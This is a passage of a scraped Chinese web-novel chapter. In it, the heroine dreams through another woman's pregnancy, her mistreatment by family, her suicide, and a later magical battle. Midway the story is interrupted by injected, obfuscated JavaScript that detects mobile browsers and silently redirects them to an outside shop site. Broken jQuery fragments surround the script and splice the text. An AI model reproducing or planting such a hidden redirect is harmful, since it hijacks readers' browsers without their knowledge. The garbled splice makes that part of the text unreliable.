42.42

作品:《血战

    伊娃继续带领着魔兽,而那些沃尔打下的江山足够她一点点坐吃山空。


    战争就这样继续着,鲜血依旧在流淌,偶尔,伊娃会坐在椅子上陷入沉思。面前,是那瓶没打开的药。


    安妮就这样陪着伊娃发呆,她哪也不想去。


    时间在一点点流逝,生活仿佛就这样下去了。直到这天,安妮进入伊娃的梦境。


    全新的场景让她一愣,眼前,是一个四四方方的小空间。伊娃还穿着那身精心准备的小裙子,圆形按钮周围,红色的光耀眼夺目。


    耳边是安静的环境,仿佛能听到自己的呼吸声。


    她回来了。


    那个梦境的结尾,在此刻被续上。


    安妮甚至忘记了伊娃的穿着,她只记得面前这个东西叫电梯。伊娃梦里,总是吞噬掉她生命的东西。


    可是这一次,她还是和身边的人走了进去,电梯载着她往上,再往上……一直到吞噬掉她理智的地方。


    安妮跟着伊娃进去,看着伊娃一点点体验另一个世界不同的色欲。


    那是一种不一样的东西,因为它和生命连接在了一起。


    神圣的、伟大的,创造生命的过程,和七原罪连接在了一起,如此密不可分。


    一种沉重的情绪包裹住安妮,她仿佛坠入了无尽的深渊。陌生的场景让她手足无措,但很快是全新的窒息感和失重感。


    她感觉自己被什么东西困住,四周漆黑一片。理智分崩离析,七零八落地祭奠着她单纯的世界。


    再睁眼,面前是茫然的伊娃,和一个神情笃定的医生。


    “我怀孕了?”


    “对,你怀孕了。”


    印象中的白大褂依旧和蔼可亲,也就让安妮产生了一种“怀孕很棒”的错觉。


    她看着伊娃回家,告诉了家人这个消息。


    喜悦的气氛感染了所有人,在公司上班的丈夫承诺早点回家,最后,是婆婆主动提出做一大桌菜庆祝结尾。


    安妮看见厨房里,婆婆将伊娃推出门,满脸欣喜:“孕妇怎么能累着?我来就好,你出去!”


    随着一道道菜出锅,伊娃的丈夫也回来了。


    餐桌上,她的碗里是鸡腿、里脊肉、去皮山药……各种好东西堆满了小小的碗,也温暖着伊娃的心。


    公公让她辞去工作,婆婆让她在家养胎,老公也承诺会更加努力工作。


    安妮看见伊娃露出一个恬静的笑容,似乎很满足。


    时间就这样一点点流逝。


    一开始,伊娃是想怀孕工作的,但随后而来的各种孕反让她不得不放弃这个想法。


    餐桌上,伊娃的呕吐越来越频繁。


    一开始,是家人关切的目光。他们会给伊娃端茶递水,会拍着伊娃的脊背安抚,会满脸担忧地给她想办法。


    但是时间长了,一切变了。


    公公会在她呕吐的时候露出嫌弃的表情,婆婆会责怪她弄脏了厕所的水池,丈夫蹙眉抿唇,以为伊娃起身的时候没听到他的抱怨。


    曾经会主动反思饭菜是否油腻的家人,如今要求她呕吐的时候避着点人,不要让他们扫兴。


    伊娃也想配合,可是做不到。


    相反,她的症状越来越严重。


    有时候,安妮会在深夜被惊醒。原本应该被跳过的夜晚,因为伊娃抽筋的肌肉变得格外漫长。


    从前,伊娃的丈夫会给她揉腿,轻声安抚她睡觉。但现在,男人只是翻身换一个角度,嘴里是烦躁的嘟囔。


    安妮知道那些话的含义:现在就他一个人上班,他比谁都辛苦。


    因此,在伊娃提出想买点补药缓解症状的时候,男人也拒绝了。


    公婆的理由倒是有些与众不同:是药三分毒,不利于孩子。


    婆婆更是冷嘲热讽,就差明说,自己当初什么也没要,甚至还帮着家里干活。


    安妮不知道什么任务算干活,她只知道很早以前开始,伊娃已经在帮助婆婆洗碗洗衣了。


    伊娃的请求就这样被拒绝,忍受着越来越多的症状。


    终于在一天晚上,伊娃的丈夫发怒了。


    “你就不能安静点吗?大晚上跟个鬼一样走来走去,很吵很烦知不知道?我明天还要上班,要早起,你知道我有多累吗?”


    拿着水杯的伊娃不知道说什么,她只是口干舌燥,想要喝水。挺着大肚子在夜里找水杯,得到的却是丈夫的责骂。


    被惊醒的婆婆穿好衣服,走进两人的卧室,看见伊娃手里的杯子,她瞬间了然,换上一副慈祥的表情:“伊娃,你晚上就少喝点水,别动来动去的,也累。”


    孕妇的缺水尿频,好像能这样轻描淡写地解决。只有安妮看见了黑暗中,忍气吞声点头的伊娃眼中,那抹晶莹。


    她不知道作何安慰,因为伊娃的朋友都不知道怎么安慰。


    伊娃的朋友其实很少,怀孕后有共同话题的就更少了。过去,伊娃也是潇洒购物,谈论明星热点的其中一个,但现在,她被困在一隅,什么也做不了,哪也不能去。


    这一天,婆婆忽然背着手,神神秘秘地拉住伊娃,往阳台走。


    安妮以为她是要悄悄给伊娃一些缓解症状的药,但女人拿出的,是一碗掺着符纸灰的水。


    黑糊糊的符纸被烧成水,掺杂在水里。安妮很容易就懒想到了巫阿婆,当初她也是这样给孩子治病的,不过那只是心理安慰。


    现在的伊娃,不需要这样的心理安慰。


    婆婆的声音不容置疑:“这药能保证你生男的,我怀光宗的时候就喝了,你快喝!”


    “妈,生男生女不是这个决定的……”


    伊娃小声辩驳。


    手机上写了,到处也都说了,生男生女,要看情况。而且,还是看男方的情况。


    但婆婆只是冷下脸:“我是你婆婆,还能害你不成?这是我找大师重金求来的,你快点喝!不喝完不准走,快,我看着你喝!”


    伊娃只能捧起那碗符水,皱眉,一口一口咽下去。


    像那些不情愿的孩子,与之相反的,是对面转怒为喜的家长。


    但伊娃显然受不了这样刺激的味道,喝下去后,她瞬间呕吐出来。好在旁边就是花坛,但婆婆也被连累,衣服被弄脏。


    她注意到的不是衣服,是被吐干净的符水。


    “哎呀,你浪费东西啊你!”


    她使劲拍打着伊娃,虽然焦急,却不敢用力。最后,事情只能不了了之,但伊娃看着餐桌上不悦的婆婆,想到她在厨房对自己的刁难,知道事情还没结束。


    晚上,伊娃在入睡前,看向这个越来越沉默寡言的丈夫。


    “妈今天找大师买来了一张符,泡成水给我喝,我没喝下去。”


    她的描述沧桑而沉静,是安妮在那个世界从未见过的状态。原来,世界可以把一个人逼成这样。


    但男人没听出伊娃的情绪,他不在意地蹙眉:“我妈农村来的,你理解一下。那符水我知道,喝不死人的,你顺她心意喝下去就行了。”


    “可是,我喝不下去啊,而且那个符水明明没……”


    “你喝不下去不知道想别的办法?我妈就希望你这一胎有个儿子,她也是为了你!你喝碗水让她高兴高兴怎么了?”


    “我只是让你劝劝她,让她别去花冤枉钱也不对吗……”


    伊娃的声音很轻。


    “反正钱都是我挣的,她是我妈,她爱怎么花怎么花!”男人说完上床,不由分说地闭上眼,“我明天还要上班,闭嘴。”


    “你以前不是这样的……”


    伊娃也不知道男人以前该是怎样的,但餐桌上家人温柔的眉眼还历历在目,她知道,起码不是现在这样的……


    “你以前也不是这样的。”


    丈夫的回答也很轻,但伊娃还是听到了。


    她坐着,愣住。


    安妮也愣住,看见墙上结婚照里神采奕奕、瘦削美艳的女人,再看如今憔悴脆弱,肥胖苍老的女人,仿佛有了答案。


    伊娃越来越行动不便,她的肚子被撑得很大,大得安妮害怕。


    曾经的蛋变成了现在被肚子容纳的东西,一切是那么惊骇,却是这个世界的现实。


    终于,迎来了伊娃生产的那天。


    安妮看着伊娃的身下流出不知名的液体,紧接着是划破天际的凄厉惨叫。那声音比当初手指甲被戳穿的犯人还惨,比被热油泼洒肌肤的犯人还大。


    那是安妮第一次听到伊娃的叫声,一遍遍,仿佛叫在了自己心里。每叫一声,心中的震悚便提高一级。


    安妮看见伊娃被打上麻药,长如手臂的针被刺进身体,还有黑洞,不断流出鲜血的黑洞……


    扭曲挣扎的面容是那么清晰,安妮站在一边,第一次觉得,时间过得好慢好慢。


    伊娃的痛苦,肮脏、血腥,而又如此详细。


    然后,伊娃被推了出来,这一切却没有暂停。


    安妮不知道顺产和剖腹产的区别,也不知道为什么伊娃的婆婆会坚信顺产的孩子更加聪明,更不知道为什么自己剖腹必须要一个别人的签字,自己疼到下跪都换不来让孩子换种方式出生。


    她只是看见曾经慈眉善目的婆婆坚决摇头,只是看着伊娃疼到面容扭曲,她那双握不住空气的手,扶着墙一点点摸索上天台。


    “砰!”


    是天台上的伊娃坠落的声音,也是法官判决人道主义赔偿的声音。


    伊娃的婆婆和老公,因为伊娃的死,找医院要钱。


    它们忘记曾经是谁拒绝签字,忘记曾经是谁呢让伊娃怀孕,忘记一切罪孽……


    安妮忘不掉。


    她尝试扭头转身,看到的是一间白白的大房子。


    房子里,行动不便、神志不清的人和伊娃一样挺着大肚子,好多人甚至下不了床。她们如同一排排母猪机械地生着孩子,而那些孩子被生下来,就换了好多钱。


    钱……


    原来,贪婪和色欲交织勾勒的真相,是可以一起,把人逼疯的。


    如果你给安妮说要给她看生命诞生的过程,过去的安妮一定会笑着问你,一颗蛋的破壳有什么好看的。


    可是现在,她看到了其他的。


    如果你给安妮一袋金币,过去的安妮一定会笑着接受,毫无负担,也不带多少欣喜。


    可是现在,她知道为了一枚金币,黑暗能做到什么地步。


    这就是他们看到的吗?


    这就是卡伊特看到过的,艾德文特听到过的,弗斯接触过的吗?


    直到伊娃破碎的灵魂消失,安妮被连带着一起失去视线,因为这是伊娃的梦境,伊娃的视角,她只能和伊娃一起行动。


    所以,伊娃刚才也看到了。


    看到自己是多么狼狈、多么脆弱,看到鲜血横流,看到黑暗恐怖。


    即使现在她死了,但她一定还记得,她为了肚子里的孩子用力到大小便乱糊在床上,却没有生出来一男半女。


    而那个世界,生命诞生最辛苦的过程,是那个生命拼命撞碎蛋壳。


    伊娃醒了,睁开眼睛的那种。


    活着在此刻显得如此珍贵,好像活着就满足了。


    但她看到的是空空荡荡的病房和旁边的小床。


    门外,婆婆的声音是那么清晰:“女的!都怪她之前不喝我的符水,不然怎么可能是个女的?女的啊!”


    隔着病房门,安妮似乎能想象到她捶胸顿足的画面。


    曾经的妇女也是这样诉着苦,让伊娃挺着肚子帮忙做家务。


    病房门被推开,婆婆已经不再絮絮叨叨。但是她看向伊娃的眼神冷漠疏离,连一个陌生人都不如。


    伊娃没力气说话,是旁边的丈夫告诉她。


    生了个女孩,其实很好猜到。


    安妮不明白,女儿怎么了。


    生命是爱的结晶,只有两情相悦的那一刻,才会产生“蛋”,而蛋孵化之后,不管男女,都是父母相爱的证明。


    即使有的人和拉缇、莫格莱斯一样,成长过程中父母有一方变了心,对于孩子他们也一样关爱。否则,当初的拉缇也不会在报复了父亲之后,反而更加失落。


    他也许不爱拉缇的母亲了,但他是真的爱着这个孩子。


    伊娃也不知道,她只知道回不去了。


    她以为生了孩子还可以锻炼,还可以回到从前,还可以做那个意气风发的美少女,但是她疼。


    手疼,脚疼,腰疼,最后是心疼。


    她的记忆里,还有那段痛苦不堪的回忆。午夜每每惊醒,孩子的啼哭就在耳边。


    婆婆还在絮叨,责怪着那次没喝的符水,丈夫明明知道符纸无用,却没有任何解释。


    安妮看见伊娃总是揉着酸痛的肩膀,总是疲惫不已地缓步走着,偶尔撩开硕大的病服,下方的肚子上爬满长虫一样恶心的纹路……


    最后打败伊娃的,是丈夫手机里的消息。


    原来,在她填报孕妇信息的那一刻,自己的爱人,就会收到来自各种按摩店的邀请。


    她在忍受生育痛苦的时候,她的另一半,在花天酒地。


    更可笑的是,那人还不如当初的自己漂亮。


    可是伊娃也知道,那是当初的自己。


    伊娃没告诉婆婆,无数次教训已经让她知道,谁的母亲站在谁那边。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307424|198573||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>于是她告诉了照顾自己的亲生母亲。


    她以为这个半夜会帮她哄孩子,会找医生询问产后康复步骤,会给她端茶递水炖汤的母亲会帮她,可女人只是眼神悲悯,语重心长:“你就当不知道。”


    理由很多,伊娃没听进去,安妮也就只能听到模糊的语言。


    但大意无非是自己现在生了孩子,有了牵挂,而且以后工作不好找,还要仰仗丈夫。


    是啊,回不去了。


    过去经济独立,自由自在的生活,回不去了。


    她的一切苦难好像都源于这个孩子,但是这个孩子以后会和她一样,经历那么多痛苦,艰难成长,将悲剧延续下去。


    伊娃不知道能够怪谁。


    或许她应该怪这个世界,怪这不公平的孕育生命的方式,但这是世界自愿的吗?


    伊娃站在天台上,她的眼前,最后出现的是色欲和生命捆绑在一起后,顺理成章出现的一切。


    不自愿受孕,不被期待的孩子,被溺死的女婴,强制代孕,和出卖色相配套的避孕药,囚禁虐待……


    人死后不再化为光点,于是安妮最后看到的,是她们死不瞑目的绝望眼神。


    安妮耳边,是格雷斯的呐喊,仿佛也是她的呐喊。


    “不是的……”


    “不要……”


    可就是。


    原来,七原罪最可怕的,是这样的色欲。


    原来,让半神都无法接受,甚至陨落的,是这样的色欲。


    原来,伊娃从始至终都没接触过的,最可怕的黑暗,是这样的色欲。


    还有和色欲捆绑在一起的贪婪,钱和生命在此刻无比清晰……


    她重新看到了这些,是不是证明三神的净化失败了?


    也是该失败的。


    谁看到这样的世界,都会失败的。


    再次回到现实,恍如隔世。


    没有在无妄空间待一百年,但恍如隔世。


    伊娃开始走神,取而代之的,是更加疯狂的魔兽。


    黑暗肆无忌惮地滋长着,无尽的杀戮,仿佛将她的痛苦宣泄出来。但伊娃眼前的幻境还是越来越多,还是越来越黑。


    谁来救救她?她快要坚持不住了……


    这是安妮第一次,那么贴切地感受到伊娃的崩溃。她没有经历过那些痛苦,但她还是感同身受。


    忽然,眼前一片白光闪过。


    阵纹让安妮一愣,甚至还没反应过来,面前就出现了一个身影。


    弗斯。


    “砰!滋滋!”


    强大的白色光球打在伊娃肩膀上,灼烧的声音清晰明显。伊娃感受到真实的疼痛,傻了眼。


    是真人,不是幻境。


    弗斯大概也没想到自己试探一击竟然真的能打到伊娃,但他迅速调整过来,凝聚起更大的力量。


    这下伊娃不想反应过来都不行了,她赶忙凝聚黑暗力量抵挡。


    两股巨大的能量相撞,传送阵再次启动。伊娃回神,已经和弗斯来到一片陌生的森林。


    她茫然,但安妮却一愣。


    是无妄森林,她绝不会认错。


    虽然周遭的环境有所出入,但植物分布、温度湿度等等都对得上。唯一的不同,大概是这个地方处于峡谷。


    是那个传送阵!能够去到任何地方的传送阵!


    所以,弗斯早就知道这里,他早就抢劫过一次亚特兰蒂斯?


    想到人鱼族凋敝的模样,似乎都说得通。


    安妮没来得及反应更多,因为弗斯和伊娃的战斗还在继续。


    这是光明与黑暗的顶级交手,容不得一点失误。但伊娃明显体力不支,精神不济——任谁刚刚经历了那样的梦境,都会这样。


    节节败退也就显得情有可原了。


    最后一击,伊娃后退,闭上了眼睛。


    安妮看见她的身体里冒出鲜红的血液,紧接着,周围的动植物飞到她面前,和鲜血融合在一起。


    这些新形成的魔兽实力却非同小可,很快将弗斯淹没。


    尽管如此,也只能延缓一点时间。安妮能感觉到伊娃的力不从心:她根本不想打架。


    取而代之的是愈战愈勇的弗斯,伊娃研究怎么转移负面情绪的时间,他似乎也研究出了怎么用“源”战斗。


    最后,伊娃还是被弗斯打中,吐出一口鲜血。


    她好像承受不住,终于闭上了眼睛。但是下一秒,那双黑色的眼睛再次睁开。


    安妮知道,有什么东西改变了。


    “为什么……这都是为什么……既然世界这么黑暗,为什么只有我看到,只有我承受,只有我……只有我!


    不是要杀了我吗?不是想杀死我吗?那就来啊,用杀戮宣泄一切!


    金钱、欲望,都是好东西啊,你们怎么能不要呢?都来体会吧!都看着吧!这么黑暗的世界,你们不看,就去死!”


    伊娃终于抬手,巨大漆黑的空间裂缝如同薄纸被轻易撕开,汹涌的黑暗源源不断地溢出。


    庞大的力量甚至让安妮都感觉到了,她看见伊娃接收掉一切,看见她抬手释放一切,然后……无数魔兽诞生在世界各地,占据了一切。


    杀戮。


    “你疯了!”


    弗斯看着疯狂的魔兽,目眦欲裂。


    “我就是疯了!”


    既然约束得不到回报,既然理智换来的是审判,她就自己谋求公平!


    这是负面情绪的狂欢,是黑暗的绝唱!


    伊娃勾唇,脑海中,负面情绪喷涌而出。这次,安妮看见了六个眼熟的身影,叫不出名字,但都是弗斯用来浇灌地狱之花的魔兽。


    这些魔兽和之前那些最大的区别就在于它们没有任何依托,就那么产生了。安妮想,或许,它们就是七原罪的化身。


    伊娃成功了。


    她终于把负面情绪分离了出来。


    可惜,这个壮举对弗斯而言没有任何意义。他还想对抗伊娃,却不得不被这些魔兽牵绊住脚步。


    因为它们根本杀不死。


    就像恕瑞玛的流沙守护者,打断了会重组,打散了会重聚。


    弗斯不得不凝聚精神,在地面画出一个巨大的阵纹。阵纹化作立体的书本,文字散发出刺目的白光,一些魔兽哀嚎着,被吞噬殆尽。


    这大概就是驱逐法阵,对面连接着弗斯和天道都管不着的领域,因为伊娃在弗斯列阵之后跟着跳了进去。


    安妮没来得及跟去,但她知道这个裂缝是什么,在哪。


    树爷爷说对了:伊娃确实进入了空间缝隙。


    她知道这个裂缝的名字。


    黑暗领域。